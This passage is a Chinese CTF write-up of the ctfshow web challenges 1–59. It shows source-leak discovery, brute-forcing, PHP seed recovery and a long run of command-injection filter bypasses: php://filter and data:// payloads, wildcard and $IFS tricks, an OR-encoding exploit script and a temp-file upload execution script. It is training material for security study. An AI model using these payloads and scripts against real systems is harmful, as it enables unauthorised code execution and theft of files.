前言

这个web系列题是前些日子我随意逛逛的时候,在ctfshow平台上发现的,正好web太菜了,借由这个系列题开始自我修炼吧😖

信息收集(1-20)

web1

右键查看源码就能看到flag

web2

打开网页提示无法查看源代码,右键也使用不了,那我们就在url前面加上view-source:

1
view-source:http://83a83588-671e-4a94-9c6f-6857f9e20c2f.chall.ctf.show/

访问后即可获得flag

web3

右键源码也没看到信息,去查看一下请求头和响应头,在响应头这里找到flag

web4

题目提示robots,所以我们直接访问http://c6f215bf-6c3e-4a21-949b-1c37d603ca56.chall.ctf.show/robots.txt

然后根据提示,再访问flagishere.txt,即可得到flag

web5

题目提示是phps源码泄露,于是在index.php后面加上s,即构造url如下

1
http://69ba9522-1aaf-4726-b2df-360c5c88d1ac.chall.ctf.show/index.phps

访问后弹出一个下载文件,下载后打开文件得到flag

web6

题目提示www.zip源码泄露,于是构造url访问下载压缩包

1
http://da7afaa3-8d2b-4ae3-aa90-a0945c88ba15.chall.ctf.show/www.zip

在压缩包中有一个fl000g.txt文件,打开内容为:flag{flag_here},本来以为这是flag,然后提交错误了。接着访问

1
http://da7afaa3-8d2b-4ae3-aa90-a0945c88ba15.chall.ctf.show/fl000g.txt

得到正确的flag

web7

根据提示,是个git泄露问题,访问.git/index.php即可,即构造url如下:

1
http://e85f4c26-faf9-4ace-a049-4f1b4587ad44.chall.ctf.show/.git/index.php

访问后就能得到flag

web8

根据提示,本题考查的是svn泄露

SVN(subversion)是源代码版本管理软件。 在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。 在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。

我们构造url访问,即可获得flag

1
http://a79a4695-f024-44dd-af3e-4eb6c2720be7.chall.ctf.show/.svn/

web9

本题考查的是vim的缓存泄露

vim编辑文本时会创建一个临时文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。而本题的情景就是电脑死机了意外退出,导致存在临时文件

构造url如下,下载.swp后缀结尾的文件

1
http://0b4ba9f5-92a1-42fa-ba28-49cff3f8400e.chall.ctf.show/index.php.swp

打开文件即可获取flag

web10

题目提示cookie,然后我们查看一下请求头,发现cookie数据为flag

我们解一下url编码,得到flag

web11

根据提示,查询对ctfshow域名进行dns查询,查看TXT记录
阿里云查询链接:https://zijian.aliyun.com/

获取flag成功

web12

根据题目提示,我们访问robots.txt,获取到后台地址

然后我们访问一下后台

1
http://c25a456d-63f7-497e-9170-0365a9cdce53.chall.ctf.show/admin/


账号名直接盲猜admin,密码是网站底部的这串数字,372619038

登录进来后,获取到flag

web13

在网站找到一个超链接

访问后,发现开发者在文档中写了自己的后台地址和账号密码

这里把your-domain换成自己的做题环境,访问后台地址

1
http://e63907cd-33af-4c57-b605-4f7e04928e43.chall.ctf.show/system1103/login.php

输入账号和密码后得到flag

web14

打开网站,根据提示访问http://4696e930-9cb3-47fd-a00b-c671f82fe4a4.chall.ctf.show/editor/

看到一个编辑器,在flash的上传中,发现有个文件空间

点击文件空间,发现爆出了目录

找了找,flag在var/www/html/nothinghere/fl000g.txt中,于是构造url访问

1
http://4696e930-9cb3-47fd-a00b-c671f82fe4a4.chall.ctf.show/nothinghere/fl000g.txt

得到flag

web15

根据题目提示邮箱,在网页底部发现一个邮箱

再url后面加上admin访问一下后台

有一个忘记密码选项,点击一下

有密保问题,联想到qq邮箱,搜索一下qq

得到地址为西安,于是提交西安

得到密码为admin7789,账号还是admin,登录后获得flag

web16

根据题目提示,存在探针

php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。是一个查看服务器信息的工具。
比如查看服务器支持什么,不支持什么,空间速度等等状况!

于是访问http://e42c0d7a-d052-485d-bb09-a7c68a6d0214.chall.ctf.show/tz.php

再点击phpinfo查看信息

在页面搜索一下ctfshow,即可得到flag

web17

根据题目,查找ctfer.com的真实ip,于是用fofa查找

查到ip地址为:111.231.70.44,所以flag为:flag{111.231.70.44}

web18

打开是一个游戏,我们去找找它的文件,在js中发现了当分数大于100时,赋值的一串编码

我们拿去unicode解码一下

根据提示,访问110.php,构造url

1
http://884e39f8-376a-4d61-9618-ee22fecc3327.chall.ctf.show/110.php

访问后得到flag

web19

打开是一个登录框,右键查看一下源码

根据php源码,我们需要post发送用户名和密码过去

1
2
3
当用户名为admin
密码为a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
即可输出flag

构造发送post请求

成功获取flag

web20

根据题目提示,是mdb文件泄露

mdb文件是早期asp+access构架的数据库文件

于是我们访问/db/db.mdb,即构造url如下访问

1
http://5c070a5e-3a51-4904-a668-4385dfa7e714.chall.ctf.show/db/db.mdb


下载db.mdb文件后,用记事本打开搜索flag

成功获取到flag

爆破(21-28)

web21

题目给了一个zip文件,打开后解压是爆破的字典,我们抓包一下网址看看

发现账号和密码都被base64了,我们发送到intruder模块,给爆破的位置加上$符圈住

去base64解码一下看看格式

格式是账号:密码,那我们使用custom iterator(自定义迭代器)模块,首先第一个放账号admin

第二个放符号:

第三个放题目给的字典

接着再进行base64编码,还有把后面这个url编码字符最好取消掉

然后就是attack开始爆破了

爆破出密码,成功获得flag

web22

题目让我们去爆破ctfer.com域名,也就是去爆破子域名,直接上layer

爆破出有flag的子域名,访问后得到flag

web23

打开看到php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

代码审计一下,输出flag需要满足两个条件

注意,编程中是从0为下标开始,第一位是第二个数字
第一,传入的token值经过md5加密后,第1位=第14位并且第14位=第17位
第二,第1位+第14位+第17位÷第1位等于第31位

根据源码改一下,写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/**
* Author:dota_st
* Date:2021/2/2 10:48
*/
$dict = "0123456789qwertyuiopasdfghjklzxcvbnm";

for($i = 0;$i< 36;$i++){
for($j = 0;$j<36;$j++){
$token = md5($dict[$i].$dict[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo ("加密后的md5值为:".$token)."\n";
echo ("解密后的值为:".$dict[$i].$dict[$j]);
}
}
}
}

python版本脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/2 11:58
# blog: www.wlhhlc.top
import hashlib

a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
for j in a:
b = (str(i) + str(j)).encode("utf-8")
m = hashlib.md5(b).hexdigest()
if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
print(b)

运行后得到满足的值,即3j

于是构造url传参token=3j,获得flag

web24

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

?>

发现其实这是伪随机数,因为mt_srang已经固定了,我们写个代码运行一下

1
2
3
4
5
6
7
8
<?php
/**
* Author:dota_st
* Date:2021/2/2 11:31
*/
mt_srand(372619038);
$result = intval(mt_rand());
echo $result;


得到1155388967,所以构成?r=1155388967即可获得flag

web25

首先审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这次种子没有给出,但发现一个关键地方,就是我们可以把传入的r设置为0,即?r=0,可以输出$rand的值,此时$rand=mt_rand()的值,也就是随机数的值

获得随机数为86715576,这个时候我们使用逆推工具尝试逆推出种子

1
2
3
4
工具地址:https://github.com/Al1ex/php_mt_seed

git下载方式:git clone https://github.com/Al1ex/php_mt_seed
下载后命令行输入make然后回车编译出php_mt_seed文件


得到种子为4188754181,因为$_COOKIE[‘token’]的值要等于两个随机数相加,于是我们写个脚本

1
2
3
4
5
6
7
8
9
10
<?php
/**
* Author:dota_st
* Date:2021/2/2 11:31
*/

mt_srand(4188754181);
echo mt_rand()."\n";
$result = mt_rand()+mt_rand();
echo $result;


得到token的值为2504830688

所以开始构造
第一个,构造?r=86715576,使得$rang=0,满足if((!$rand)),进入下一层if判断token的值
第二个,构造cookie头里的token=2504830688


成功拿到flag

web26

打开页面,看到一个网站

右键查看源码,发现存在一个checkdb.php

照这个格式post发送数据,得到flag

web27

打开依然是一个cms

点击录取名单,下载得到一份名单

发现身份证中间少了日期,继续回到页面,点击查询系统

需要输入姓名和身份证,我们现在有了姓名,身份证模糊,那进行抓包爆破

设置一下爆破身份证中的日期

爆破结果

解码一下

得到身份证号和学号,然后去首页登录一下,得到flag

web28

打开页面,没发现什么有用的信息,但是观察到url有些奇怪

应该是爆破目录,抓包一下

两个payload都选择0到100进行爆破

在爆破结果中得到flag

命令执行(29-77&118-122&124)

web29

源码

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

首先先system(“ls”);查看一下文件

既然过滤了flag,那我们就fla*的形式进行匹配,结合tac命令输出flag.php文件内容

web30

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这里把system命令给过滤了,不过有别的姿势,例如

1
?c=echo `tac *`;

还是使用通配符进行匹配,不过换了echo进行输出

web31

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这里开始过滤了空格,本来我是使用%20编码绕过的不知道为什么不行(有点疑惑),然后就改用了%09

1
?c=echo%09`tac%09*`;

web32

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}

这次把反引号和echo都过滤了,不过还有新姿势,利用include函数(还有require也可以)

1
2
3
?c=include$_POST[a]?>

post:a=php://filter/read=convert.base64-encode/resource=flag.php


把base64解码后即可得到flag

web33

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}

这次多过滤了双引号,继续使用上一题的payload

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}

多过滤一个:号,还是可以使用上一题的payload

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}

多过滤一个<号和一个=号,不过没有影响,继续使用前面的payload

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}

这次增加过滤数字,但还是没有影响,继续使用前面payload

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}

换新题了,这次是使用了include语句,这里过滤了flag,我们采用伪协议data的方法进行绕过

1
?c=data:text/plain,<?=system("tac fla*");?>

web38

1
2
3
4
5
6
7
8
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}

这次在前面基础上过滤了php和file,对我们无碍,因为我们使用的是php短标签,所以继续使用上面的payload

1
?c=data:text/plain,<?=system("tac fla*");?>

web39

1
2
3
4
5
6
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}

这次减少了过滤,但是会再后面加上.php的后缀,然而我们前面的payload结尾是有一个?>进行了标签闭合,所以?>.php没有影响,继续使用前面payload

1
?c=data:text/plain,<?=system("tac fla*");?>

web40

1
2
3
4
5
6
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}

这里回到eval语句执行命令,但过滤了许多东西,没有过滤掉英文的(),那我们使用无参数的rce进行构造读取文件

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

我们先打印出当前目录下的文件

1
?c=print_r(scandir(current(localeconv())));


读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

需要知识点齐了,观察flag.php在倒数第二位,我们开始构造

1
?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

1
2
3
4
5
6
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}

过滤了数字和字母还有一些其他符号,但我们可以利用或运算符进行构造payload进行命令执行
思路:

通俗解释:
例如源码中禁止我们使用了数字3,也就是ascii码值为51,我们可以使用或运算符在没有被禁止的字符中构造出51来,比如19和32没有被禁止,我们进行或运算19|32=51,就可以获得51这个ascii码值,也就是成功得到了数字3

知道了方法后,我们从ascii码表,也就是0-255中找到没有被过滤的字符进行或运算,以寻求得到我们想要的字符
结合了yu师傅给出的exp,我们写一个独立的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("exit: input exit in function")
print("="*50)
exit(0)
url=argv[1]

#生成可用的字符
def write_rce():
result = ''
preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i | j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('rce.txt', 'w')
f.write(result)

#根据输入的命令在生成的txt中进行匹配
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

main()

运行后,输入命令得到flag

后来发现图片脚本名字打错了,是或运算噢,不要概念混淆了哈哈

web42

1
2
3
4
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}

这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

也就是我们如果输入?c=ls,输出就会被吞掉不进行回显,那该怎么办呢?其实很简单,用;号或者||等等一些命令分隔符进行命令分隔
payload如下:

1
?c=tac flag.php;

web43

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}

在前面基础上过滤了cat和;号,我们使用其他命令分隔符即可

1
?c=tac flag.php||

web44

1
2
3
4
5
6
f(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}

把flag过滤了,相信如果你从前面做到现在,心中应该也知道怎么绕过了哈哈,使用通配符进行绕过

1
?c=tac fla*||

web45

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次把空格也过滤了,ok,使用%09进行绕过,%09是tab的url编码

1
?c=tac%09fla*||

web46

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次把数字都过滤了,还把通配符*进行了过滤,我们可以改用?进行匹配,同时空格的话还是可以继续使用%09,它不属于过滤的数字范畴

1
?c=tac%09fla?.php||

web47

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次多过滤了几个读取文件的命令,但tac没有被过滤我们继续使用之前的payload

1
?c=tac%09fla?.php||

这里补充一下一些其他命令读取的操作

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

web48

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次还是多过滤了一些读取的命令,tac没有被过滤,继续使用前面的payload

1
?c=tac%09fla?.php||

web49

1
2
3
4
5
6
7

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}

还是没有过滤tac,继续使用前面的payload

1
?c=tac%09fla?.php||

web50

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次把%进行了过滤,我们使用<>号进行绕过,这里通配符进行修改一下,<>和?一起没有显示出来,改用\进行绕过,paylaod如下

1
?c=tac<>fla\g.php||

web51

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次对tac进行了过滤,我们可以用\分割进行绕过,payload如下

1
?c=ta\c<>fla\g.php||

web52

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}

这次过滤了尖括号,但放空了$符给我们,所以payload如下

1
?c=ta\c${IFS}fla\g.php||

但emmm,好像flag改地方了

用ls找一下,发现在根目录

所以真正payload如下

1
?c=ta\c${IFS}../../../fla?||

web53

1
2
3
4
5
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}

这次好像只把后面的吞回显给去掉了,那我们去掉后面的||即可,payload如下

1
?c=ta\c${IFS}fla?.php

web54

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}

这次过滤了好多字母,也不能会用\的形式进行分割,但还有另一个读取的命令grep可以使用

grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来

所以我们可以构造payload如下,在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})

1
?c=grep${IFS}show${IFS}fl?g.php

web55

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}

这次把字母都给禁掉了,一般遇到这情况最容易想到的应该是进行异或运算等等办法进行构造,在这里他没有禁掉数字,我们有其他略微方便点的方法,就是通过匹配bin下存在的命令进行读取flag

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

这里没有禁用数字所以我们可以使用base64命令,构造如下

1
?c=/???/????64 ????.???                     也就是?c=/bin/base64 flag.php


再进行解码即可得到flag

web56

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}

这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现

在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件,我们可以去操作看看
在目录下新建一个f.txt,内容为ls,我们使用. /home/kali/ctf_tools/a/f.txt来执行文件

发现f.txt里的ls命令被成功执行,所以我们的完整payload就是

1
2
?c=. /???/????????[@-[]
并且同时上传我们的文件,文件内容里面是命令

这里我们写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/11 9:14
# blog: www.wlhhlc.top
import requests
while True:
url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]"

r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break

运行完后成功获取到flag

web57

1
2
3
4
5
6
7
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}

这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1


所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
写一个脚本进行构造

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

payload如下

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))


因为是cat命令,所以右键查看一下源码即可得到flag

web58

1
2
3
4
5
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

额,突然变简单了,这里可以直接蚁剑连接进去查看flag了(后面其实都可以使用蚁剑直接连接getshell)

不过应该是考读取文件的,我们使用读取文件函数进行读取flag,payload如下

1
c=show_source("flag.php");


这里补充一些读取文件函数的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

web59

1
2
3
4
5
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

